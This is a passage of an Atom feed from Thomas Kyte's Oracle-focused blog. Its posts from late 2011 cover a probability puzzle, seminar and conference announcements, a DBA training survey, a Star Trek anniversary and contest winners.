src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7141590578038753389</id><published>2012-01-05T10:39:00.000-05:00</published><updated>2012-01-05T10:39:00.570-05:00</updated><title type='text'>Happy (belated) New Year!</title><content type='html'>Another year, another list of '&lt;a href="http://www.oracle.com/us/dm/kyteresolutions-1440386.html"&gt;resolutions&lt;/a&gt;'. &amp;nbsp;Welcome to twenty-twelve :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7141590578038753389?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7141590578038753389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7141590578038753389' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7141590578038753389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7141590578038753389'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2012/01/happy-belated-new-year.html' title='Happy (belated) New Year!'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-4968988176126283310</id><published>2011-11-09T14:12:00.001-05:00</published><updated>2011-11-09T14:12:54.230-05:00</updated><title type='text'>I really liked this one (the followup)</title><content type='html'>I recently &lt;a href="http://tkyte.blogspot.com/2011/10/i-really-liked-this-one.html"&gt;wrote about an interesting question&lt;/a&gt; (not Oracle related!). &amp;nbsp;I found the question interesting because it reminds me of so many questions I actually receive about Oracle. &amp;nbsp;They are vague, incomplete, ambiguous, confusing at times.&lt;br /&gt;&lt;br /&gt;The question I referred you to fell squarely in that category. &amp;nbsp;It was:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;i&gt;If you choose an answer to this question at random, what is the chance you will be correct?&lt;br /&gt;a) 25%&lt;br /&gt;b) 50%&lt;br /&gt;c) 60%&lt;br /&gt;d) 25%&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;They are missing the correct answer in the list! &amp;nbsp;And adding the correct answer would change the answer - so that it might be incorrect as well. &amp;nbsp;Meaning - there is more missing here than supplied. &amp;nbsp;You don't stand a chance of answering the question at all.&lt;br /&gt;&lt;br /&gt;I put forth that the answer is "e) none of the above" - making the right answer "20%".&lt;br /&gt;&lt;br /&gt;Looking at the problem, if you assume the right answer is 25% - because you have a 1 in 4 chance of selecting any one of the items - the probability you will get the right answer randomly is 50%. &amp;nbsp;So, it cannot be 25% - if it were - it would be 50% (confusing, yes).&lt;br /&gt;&lt;br /&gt;Moreover, if you assume 50% is correct, then the right answer is 25% - because the chance of picking 50% is 1 in 4.&lt;br /&gt;&lt;br /&gt;If you assume 60% is correct - well, I don't know what to say. &lt;br /&gt;&lt;br /&gt;The question itself seems to somehow affect the answer - the act of answering the question changes the answer. &amp;nbsp;Sort of like when you run a program in the debugger and it works perfectly - but when you run it standalone it crashes (that has never happened to me, nope, not a chance...).&lt;br /&gt;&lt;br /&gt;So, my answer is "e) none of the above"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-4968988176126283310?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/4968988176126283310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=4968988176126283310' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4968988176126283310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4968988176126283310'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/11/i-really-liked-this-one-followup.html' title='I really liked this one (the followup)'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-8524611263202863764</id><published>2011-11-07T14:44:00.001-05:00</published><updated>2011-11-07T14:44:33.622-05:00</updated><title type='text'>A unique opportunity redux...</title><content type='html'>Method-R will be hosting Chris Date for a series seminars &lt;a href="http://method-r.com/events"&gt;during the last week&lt;/a&gt; of January, 2012. &amp;nbsp;The last time he did this was &lt;a href="http://tkyte.blogspot.com/2009/04/unique-opportunity.html"&gt;three years ago &lt;/a&gt;- so the&amp;nbsp;occurrences&amp;nbsp;of these seminars is few and far between.&lt;br /&gt;&lt;br /&gt;If you have the time to go - and are curious about doing SQL "right" - I'd highly recommend it. &amp;nbsp;It is not often you have the opportunity to sit in a class like this...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-8524611263202863764?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/8524611263202863764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=8524611263202863764' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8524611263202863764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8524611263202863764'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/11/unique-opportunity-redux.html' title='A unique opportunity redux...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-3997021494445750551</id><published>2011-11-07T09:01:00.001-05:00</published><updated>2011-11-07T09:10:13.774-05:00</updated><title type='text'>Isn't it the truth...</title><content type='html'>Every now and then an XKDC comic strip comes along that is just so 'real world' that it makes you stop and laugh out loud.&lt;br /&gt;&lt;br /&gt;Like&lt;a href="http://xkcd.com/974/"&gt; this one&lt;/a&gt; did for me.&lt;br /&gt;&lt;br /&gt;How many times have I seen a complex,&amp;nbsp;convoluted, hardly (or not at all) working bit of software - software that does just one, maybe two things - but is capable of being the OS, the database, and every program ever written if necessary. &amp;nbsp;Just in case.&lt;br /&gt;&lt;br /&gt;I guess that is why I'm still a Unix fan after all of these years. &amp;nbsp;A big collection of very very specific tools that can be used together to do pretty much anything.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Although - there are two sides to every coin I guess... &amp;nbsp;Sometimes (not often) -&lt;a href="http://www.techeblog.com/index.php/tech-gadget/find-x?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+Techeblog+%28TechEBlog+-+Latest+Tech+and+Gadget+News%29&amp;amp;utm_content=Google+Reader"&gt; simple can be wrong too&lt;/a&gt;. &amp;nbsp;It depends.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3997021494445750551?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/3997021494445750551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=3997021494445750551' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3997021494445750551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3997021494445750551'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/11/isnt-it-truth.html' title='Isn&apos;t it the truth...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-8806167586231679463</id><published>2011-10-31T12:53:00.001-04:00</published><updated>2011-10-31T16:43:52.595-04:00</updated><title type='text'>I really liked this one...</title><content type='html'>I answer lots of questions about Oracle. &amp;nbsp;Many of them are ambiguous, unclear, not fully specified, hard to follow. &amp;nbsp;It is like unraveling a puzzle sometimes (ok, most of the times...)&lt;br /&gt;&lt;br /&gt;That is why I found&lt;a href="http://flowingdata.com/2011/10/28/best-statistics-question-ever/"&gt; this question &lt;/a&gt;to be really amusing - especially after reading the comments. &amp;nbsp;Lots of disagreement as to the meaning of the question!&lt;br /&gt;&lt;br /&gt;So, what do you think the answer is... I'll post what I think after I see some feedback. &amp;nbsp;It is a very very interesting question.&lt;br /&gt;&lt;br /&gt;And it also points to why I think the answer to all questions is mostly "Why" or "It depends". &amp;nbsp;We usually need a lot more information to answer what might appear to be simple questions.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-8806167586231679463?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/8806167586231679463/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=8806167586231679463' title='34 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8806167586231679463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8806167586231679463'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/10/i-really-liked-this-one.html' title='I really liked this one...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>34</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-3687986132257493887</id><published>2011-10-12T10:47:00.000-04:00</published><updated>2011-10-12T10:47:08.645-04:00</updated><title type='text'>A little more on Oracle OpenWorld...</title><content type='html'>&lt;a href="http://tkyte.blogspot.com/2011/10/back-from-open-world.html"&gt;I've already posted information&lt;/a&gt; on where to get my OpenWorld materials (see the comments for how to access the content for other sessions as well). &amp;nbsp;Now I'd like to invite you to listen in for more information as well. &amp;nbsp;I know both of the speakers - I've podcasted with Willie Hardie in the past and Mark Townsend is the guy I work for.&lt;br /&gt;&lt;br /&gt;So, get the full recap on key Database product announcements from Oracle OpenWorld. And chat LIVE with Oracle Database VPs Willie Hardie and Mark Townsend. This exclusively online event is Oct 18/19 (two sessions). Register today: &lt;a class="moz-txt-link-freetext" href="http://bit.ly/qtzxTO"&gt;http://bit.ly/qtzxTO&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Following Oracle OpenWorld last week, do you fully understand how new database product announcements impact your projects? Do you have questions about big data, new engineered systems, or clouds? Attend our OpenWorld recap and live chat with Oracle Database experts on October 18/19. For details and to register, visit &lt;a class="moz-txt-link-freetext" href="http://bit.ly/qtzxTO"&gt;http://bit.ly/qtzxTO&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3687986132257493887?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/3687986132257493887/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=3687986132257493887' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3687986132257493887'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3687986132257493887'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/10/little-more-on-oracle-openworld.html' title='A little more on Oracle OpenWorld...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2971936477176189243</id><published>2011-10-11T16:13:00.000-04:00</published><updated>2011-10-11T16:13:12.535-04:00</updated><title type='text'>Calling all DBA's - we still need your input...</title><content type='html'>And time is running out. &amp;nbsp;&lt;a href="http://tkyte.blogspot.com/2011/09/dbas-we-would-like-your-input.html"&gt;A month ago&lt;/a&gt; we started taking input for Oracle University and what sort of courses they should be providing. &amp;nbsp;The survey is nearing an end - and while we received a great response to day, they would like to get more input. &lt;br /&gt;&lt;br /&gt;So, if you have the time and inclination - check out&lt;a href="http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=517"&gt;&amp;nbsp;http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=517&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thanks!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2971936477176189243?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2971936477176189243/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2971936477176189243' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2971936477176189243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2971936477176189243'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/10/calling-all-dbas-we-still-need-your.html' title='Calling all DBA&apos;s - we still need your input...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5257908170430701956</id><published>2011-10-11T11:32:00.001-04:00</published><updated>2011-10-11T11:32:05.010-04:00</updated><title type='text'>Coming to Dublin...</title><content type='html'>I'll be coming over to Dublin, Ireland at the beginning of November. &amp;nbsp;On November 2nd I'll be holding a free seminar from 9:00 to 15:30 at the Oracle offices. &amp;nbsp;Everyone is invited to attend. &amp;nbsp;You can register by &lt;a href="https://asktom.oracle.com/pls/apex/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D17731582003496431950&amp;amp;p_cat=Tom%20Kyte%20Seminar-Dublin-2nd%20Nov%202011.pdf&amp;amp;p_company=822925097021874"&gt;downloading this file&lt;/a&gt; and emailing the contact. &amp;nbsp;It also includes all of the information for the day. &amp;nbsp;I'll be doing two of my sessions from Oracle Open World this year (Five things you probably didn't know about SQL / PLSQL), a talk on database options and then an open question and answer session at the end.&lt;br /&gt;&lt;br /&gt;Hope to see you there!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5257908170430701956?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5257908170430701956/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5257908170430701956' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5257908170430701956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5257908170430701956'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/10/coming-to-dublin.html' title='Coming to Dublin...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7257005841068205974</id><published>2011-10-07T11:17:00.004-04:00</published><updated>2011-10-07T11:17:55.611-04:00</updated><title type='text'>Back from Open World...</title><content type='html'>I just returned home from Oracle Open World 2011. &amp;nbsp;It was good to meet some new faces and meet up with some old ones. &lt;br /&gt;&lt;br /&gt;I had five sessions this year - one of them was a panel session (no content to post) - and all of them had good audiences and good questions at the end. &amp;nbsp;I've posted the materials I used &lt;a href="https://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D16843588413526787960&amp;amp;p_cat=OOW_2011.zip&amp;amp;p_company=822925097021874"&gt;here for download&lt;/a&gt;. &amp;nbsp;All of the powerpoints &amp;nbsp;plus the scripts I used to demonstrate what I was talking about are included. &amp;nbsp;It should all be on the Open World site as well (only the powerpoints, no separate scripts) as they collected all of the presentations from every session as it was happening and uploaded them.&lt;br /&gt;&lt;br /&gt;Again - thanks to everyone that attended one of my sessions, I hope you got something useful out of it...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7257005841068205974?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7257005841068205974/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7257005841068205974' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7257005841068205974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7257005841068205974'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/10/back-from-open-world.html' title='Back from Open World...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5615253444258947801</id><published>2011-09-09T12:37:00.000-04:00</published><updated>2011-09-09T12:37:06.897-04:00</updated><title type='text'>DBAs - We would like your input...</title><content type='html'>Calling all DBAs - Oracle University would like your inputs in order to better tailor their course offerings around what you actually need to do, rather than what they think you need to do.&lt;br /&gt;&lt;br /&gt;They've put a bit of thought into what data they need - you can read about their process for building this &lt;a href="http://uhesse.wordpress.com/2011/08/01/as-a-dba-what-are-you-doing/"&gt;survey here&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;The survey itself is available on-line for about the next six or so weeks. &amp;nbsp;You can&lt;a href="http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=517"&gt; participate in the survey here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So, if you've ever wanted to influence what is taught to the next generation of DBA's - or influence what sort of courses would be available for you - please take the time to fill out the survey.&lt;br /&gt;&lt;br /&gt;Thanks!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5615253444258947801?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5615253444258947801/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5615253444258947801' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5615253444258947801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5615253444258947801'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/09/dbas-we-would-like-your-input.html' title='DBAs - We would like your input...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5102537826348188194</id><published>2011-09-08T21:03:00.004-04:00</published><updated>2011-09-09T07:42:46.924-04:00</updated><title type='text'>45 years ago...</title><content type='html'>&lt;b&gt;&lt;i&gt;Space: the final frontier. These are the voyages of the starship Enterprise. Its five-year mission: to explore strange new worlds, to seek out new life and new civilizations, to boldly go where no man has gone before.&lt;/i&gt;&lt;/b&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;It was 45 years ago today that those words were broadcast.  One of my favorite TV series (Enterprise was probably my personal favorite of all of the genres) of all times.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I enjoyed reading this&lt;a href="http://mashable.com/2011/09/08/star-trek-gadgets/"&gt; list of eight gadgets from Star Trek&lt;/a&gt; that made it into 'real life'.  I never realized that the StarTAC from Motorola was named after Star Trek - that is sort of neat.  I remember many years back, Verizon came into Oracle in Virginia to try to sell our division on a new phone plan.  My manager and a coworker were there and the Verizon person asked us what type of phone we used.  My manager had an AT&amp;amp;T phone that was pretty fancy for the time - he could walk up to his computer and the blue tooth would unlock it automatically.  My coworker had an early Palm phone - it could do data and web and all.  Mine - it was a Star TAC - I flipped it out and said "I can make phone calls with it".  The guy from Verizon said "yeah, well the Smithsonian just called and they want your phone" (I got a new phone shortly after...  A Palm phone, I used it for years).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Anyway - the list of things that were "Star Trek worthy" but are now real is longer than eight - but that blog post is fun to read.   But as I wrote a while ago - and as someone commented on that post - &lt;a href="http://tkyte.blogspot.com/2005/06/we-need-transporters.html"&gt;we still need transporters&lt;/a&gt;!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5102537826348188194?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5102537826348188194/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5102537826348188194' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5102537826348188194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5102537826348188194'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/09/45-years-ago.html' title='45 years ago...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-649228108449844866</id><published>2011-09-01T14:03:00.005-04:00</published><updated>2011-09-01T15:37:49.427-04:00</updated><title type='text'>And the winners are...</title><content type='html'>To the first 10 that signed up for the&lt;a href="http://www.ioug.org/realworldperformance"&gt; Real World Performance&lt;/a&gt; Day using the "referred by Tom's blog" moniker - the books and shirts are in the mail:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://farm7.static.flickr.com/6090/6103876348_287fc32f77_z.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;I just sent them out today - you should get them soon.  Looking forward to meeting:&lt;br /&gt;&lt;br /&gt;Venky from Illinois&lt;br /&gt;Kevin from Toronto&lt;br /&gt;Tom from Toronto&lt;br /&gt;Heather from Toronto&lt;br /&gt;Stephan from Maryland&lt;br /&gt;Daniel from North Carolina&lt;br /&gt;Aaron from Maryland&lt;br /&gt;Joe from Massachusetts&lt;br /&gt;Steve from Wisconsin&lt;br /&gt;Ted from Pennsylvania &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(I guess Canadians type fast - Toronto being the big winner!)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-649228108449844866?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/649228108449844866/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=649228108449844866' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/649228108449844866'/><link rel='self' type='application/atom+xml' 